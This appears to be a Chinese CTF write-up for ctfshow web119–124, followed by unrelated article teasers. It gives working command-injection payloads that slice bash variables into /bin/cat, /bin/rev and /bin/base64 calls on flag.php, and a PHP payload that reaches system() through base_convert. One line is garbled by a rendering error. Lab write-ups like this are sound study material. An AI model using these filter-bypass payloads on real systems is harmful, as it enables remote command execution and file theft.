ctfshow web入门web119-124

news2025/1/16 10:58:29

1.web119

和118题类似,只不过是过滤了PATH

0可以用任何字符代替,比如 A , {A}, A,{0}
KaTeX parse error: Expected '}', got '#' at position 2: {#̲SHLVL}=1,或者{##},${#?}
{PHP_VERSION:~A}=2,php版本为x.x.2时
${#IFS}=3(linux下是3,mac里是4)
${#HOME}为5
${#RANDOM}一般是5,也可能是4

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,而 BASH_SUBSHELL 是记录一个 Bash 进程实例中多个子 Shell(subshell)嵌套深度的累加器
在这里插入图片描述

pwd:/tmp
echo ${PWD:0:1} #表示从0下标开始的第一个字符(从右往左开始取)
echo ${PWD:~0:1} #从结尾开始往前的第一个字符(从右往左开始取)
echo ${PWD:~0:2} #也只是取一个字符,因为是从右往左开始取的
echo ${PWD:~3:3} <=>echo ${PWD:0:3}
echo ${PWD:~0}
echo ${PWD:~A} #所以字母和0具有同样作用

在这里插入图片描述pwd:/var/www/html
user:www-data
home:/www-data
在这里插入图片描述
payload:

${#HOSTNAME}=7,${HOSTNAME}=ctfshow
${HOME:${#HOSTNAME}:${#SHLVL}}     =>   t
${PWD:${Z}:${#SHLVL}}   或${PWD:${#}:${#SHLVL}} =>   /   
/bin/cat flag.php
构造的是/???/??t ????.???  =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
还可构造/???/?at ????.??? =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
还可构造/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

2.web120

在这里插入图片描述
这题把home过滤掉了,还限制了长度

payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
右键查看源代码即可得到flag

在这里插入图片描述

3.web121

在这里插入图片描述
又过滤了~,SHLVL,还是限制了长度
在用/???/?a? ???.???发现构造不出来
/bin/rev即rev将文件内容读取并进行反转,就倒着输出文件内容
paylaod:

${#?}或${##}=1
${IFS}=3
/???/r?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
linux执行下条命令,反转为原来的
echo 'php?< ;"}be80abe44d20-c48b-e194-7c20-38ad93c1{wohsftc"=galf$ >?'|rev

4.web122

在这里插入图片描述
又把#过滤了
通过 ? 来实现的, ?来实现的, ?来实现的,?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误,执行错误时可能为1,${RANDOM::1}可能为4,也可能为其他值
在这里插入图片描述

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A
在这里插入图片描述
payload:

/???/?????4 ????.???=>/bin/base64
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#多试几次才会使random出现4这个数字

5.web124

在这里插入图片描述
过滤了一些符号,并且使用的字母必须是数学函数的白名单里的字母,控制了长度不能大于80,可以通过$_GET[]传参来绕过过滤,[]可以用{}代替
base_convert #在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码
没有hex2bin需要使用base_convert构造出来

<?php

echo base_convert('hex2bin',36,10);
echo '</br>';
//把_GET转为16进制,在转为10进制
//直接16进制不行,因为会有字母
echo hexdec(bin2hex('_GET'));
echo '</br>';
//下方是使用base_concvert对_GET转为10进制
//但是输出后发现是get,而不是_GET
//echo base_convert(21269,10,36);
echo '</br>';
//把hex2bin的十进制进行输出查看是不是一致
echo base_convert(37907361743,10,36)
?>
10进制数表示
_GET:37907361743
hex2bin :1598506324
hex2bin(dechex(37907361743))>base_convert(1598506324,10,36)(dechex(37907361743))
$$pi{abs}($$pi{acos})&abs=>$_GET['abs']($_GET['aos'])

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php

参考文章:
SHLVL
ctfshow命令执行web118-124
ctfshow 命令执行web118-124
web124

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/423174.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IntelliJ IDEA 2023.1正式发布,Maven项目大提速支持Apache Dubbo

你好&#xff0c;我是YourBatman&#xff1a;做爱做之事❣交配交之人。 &#x1f4da;前言 一年一个大版本&#xff0c;共计3个中型版本&#xff0c;北京时间2023年3月月29日终于迎来了IntelliJ IDEA今年的首个版本2023.1。老规矩&#xff0c;吃肉之前&#xff0c;可以先把这…

顺丰科技x腾讯安全iOA联合案例获云安全联盟CSA 2022安全革新奖

近年来&#xff0c;随着云计算、大数据、物联网等技术的加速创新和应用&#xff0c;一场数字化的变革开始席卷各行各业。远程办公、业务协同、分支互联等需求涌现&#xff0c;随之而来的还有更加复杂多元的高级网络攻击。在此背景下&#xff0c;传统的基于边界的网络安全防护理…

矩阵键盘+CH559制作国产USB矩阵键盘

矩阵键盘+CH559制作国产USB矩阵键盘 文章目录 矩阵键盘+CH559制作国产USB矩阵键盘为什么选择CH559作为主控芯片?如何实现该款矩阵USB键盘?如何将矩阵键盘的信号转化为USB键盘信号?原材料: 矩阵键盘(附带行列键码定义)CH559开发板将矩阵键盘的所有排线连接到单片机的GPIO引…

基于stm32mp157 linux开发板ARM裸机开发教程5:ARM微处理器指令系统(连载中)

前言&#xff1a; 目前针对ARM Cortex-A7裸机开发文档及视频进行了二次升级持续更新中&#xff0c;使其内容更加丰富&#xff0c;讲解更加细致&#xff0c;全文所使用的开发平台均为华清远见FS-MP1A开发板&#xff08;STM32MP157开发板&#xff09; 针对对FS-MP1A开发板&…

Python | Python的自我介绍(前世今生)

本文概要 本篇文章主要介绍Python这门语言的前世今生&#xff0c;适合刚入门的小白或者想了解Python历史的同学&#xff0c;文中描述很详细&#xff0c;具有一定的学习价值&#xff0c;感兴趣的小伙伴快来一起学习吧。 个人简介 ☀️大家好&#xff01;我是新人小白博主朦胧的…

【机器学习】样本不均衡(class-imbalance)——解决方案与问题思考

目录问题提出问题重述与再理解第一个问题&#xff1a;假如样本不均衡&#xff0c;哪种分类器的泛化性能较好&#xff1f;第二个问腿&#xff1a;在样本不均衡的情况下&#xff0c;如何获得更健壮的模型问题解决方法样本不均衡对机器学习模型会造成什么影响什么模型适合样本不均…

小黑今天上午着急忙慌实习公司楼下笔试,晚上准备和尚香疯狂星期四明天继续现场笔试的leetcode之旅:1091. 二进制矩阵中的最短路径

小黑代码1 class Solution:def shortestPathBinaryMatrix(self, grid: List[List[int]]) -> int:# 一定无解的情况if grid[0][0] 1 or grid[-1][-1] 1:return -1# 矩阵长度n len(grid)# 起点即终点if n 1:return 1# 访问集合seen {(0, 0)}# 初始化队列q collections.…

射频功率放大器在空气耦合超声检测系统中的应用

实验名称&#xff1a;空气耦合超声检测系统研究方向&#xff1a;超声测试设备&#xff1a;ATA-8202射频功率放大器、探头、ATA-5620前置放大器、超声波接收器、数据采集卡、计算机。实验过程&#xff1a;图&#xff1a;空气耦合超声检测锂电池系统锂电池空气耦合超声检测具体过…

TryHackMe-Year of the Dog(Linux渗透测试)

Year of the Dog 谁知道呢&#xff1f;狗咬了一口&#xff01; 端口扫描 循例nmap Web枚举 进80 用gobuster扫了一圈没有任何发现&#xff0c;图像也没有隐写 在主页的请求头的cookie有一个id 改成其他错误值会导致异常&#xff0c;看见叫id&#xff0c;习惯性加个了引号 爆…

【java】集合类

文章目录集合根接口LIST列表迭代器Queue|Deque|PriorityQueueSet集合HashSetLinkedHashSetTreeSet键盘读入MapHashMapLinkedHashMapStream流stream()ints()Collections工具类集合根接口 所有的集合类最终都是实现自集合根接口的&#xff0c;比如ArrayList类&#xff0c;它的祖先…

走向国际市场,怎样用Facebook广告抢占商机?

在当今全球化的商业世界中&#xff0c;企业要想在国际市场中占据一席之地&#xff0c;除了打造优质产品和服务外&#xff0c;有效的营销手段也是至关重要的。 而Facebook作为全球最大的社交媒体平台&#xff0c;其广告投放服务为企业提供了一个快速、便捷、有效的推广途径。那…

安全校验和框架---JWT和Shrio

安全架构 加密 分类 可逆加密和不可逆加密 不可逆加密&#xff1a;常见的不可逆加密算法有MD5&#xff0c;HMAC&#xff0c;SHA1、SHA-224、SHA-256、SHA-384&#xff0c;和SHA-512&#xff0c;其中SHA-224、SHA-256、SHA-384&#xff1b; 可逆加密分为对称加密和非对称加密…

2023最新面试题-Java-5

自定义类加载器 1. 为什么需要自定义类加载器 网上的大部分自定义类加载器文章&#xff0c;几乎都是贴一段实现代码&#xff0c;然后分析一两句自定义ClassLoader的 原理。但是我觉得首先得把为什么需要自定义加载器这个问题搞清楚&#xff0c;因为如果不明白它的作用的情况 …

人工智能动物农场的猪、牛和蟑螂

人工智能动物农场的猪、牛和蟑螂 农业正在成为由人工智能驱动的以数据为中心的业务。中国的大型科技公司正在使用神经网络支持的计算机视觉、可穿戴设备和预测分析算法来重新构想猪、鸡、牛、鹅和蟑螂养殖。 《南华早报》报道称&#xff0c;好医生制药集团每年在中国东南部的四…

OpenHarmony社区运营报告(2023年3月)

目录 本月快讯 一、代码贡献 二、生态进展 三、社区治理 五、社区活动 六、社区及官网运营 本月快讯 • 《OpenHarmony 2022年度运营报告》于3月正式发布&#xff0c;2022年OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;开源项目潜心务实、深耕发展&am…

优化Key顺序提升ClickHouse查询性能

ClickHouse 键列顺序不仅影响表压缩效果&#xff0c;对查询性能也有很大影响&#xff0c;正确使用键列的顺序可以跳过大粒度数据范围&#xff0c;提高查询效率。本文通过示例进行测试不同场景的查询性能&#xff0c;从而让我们了解如何选择键列及其顺序。 测试数据 首先创建并…

从DY用户页面获取作品列表

最近DY的web端更新比较频繁&#xff0c;所以搞了很多方案来应对更新问题。 本文内容是其中一种方案&#xff0c;从用户主页的HTML响应内容中抽取user信息和作品列表数据。 下图中出现的内容都是在html名为RENDER_DATA的script标签中&#xff0c;以urlencode编码。 比如昵称、粉…

copilot技巧

copilot技巧 csdn排版不太好&#xff0c;推荐notion查看&#xff1a;https://superb-face-6ae.notion.site/copilot-25cf0f9882364056b5c76909b3a66ef9 一些基础原理&#xff1a; 我们想要使用copilot来干嘛呢&#xff1f;来生成代码。 怎样让它生成代码呢&#xff1f;给它一…

【PyTorch】第七节:数据加载器

作者&#x1f575;️‍♂️&#xff1a;让机器理解语言か 专栏&#x1f387;&#xff1a;PyTorch 描述&#x1f3a8;&#xff1a;PyTorch 是一个基于 Torch 的 Python 开源机器学习库。 寄语&#x1f493;&#xff1a;&#x1f43e;没有白走的路&#xff0c;每一步都算数&#…

GitHub收藏夹分类列表

前言 GitHub是一个基于Git的国际代码托管网站&#xff0c;其内容质量较高&#xff0c;用户在浏览时经常会收藏他人的项目&#xff0c;当收藏的项目越来越多后&#xff0c;用户再想查找之前特定的收藏项目会非常困难。 因此我们希望分类管理GitHub收藏夹&#xff0c;值得注意的…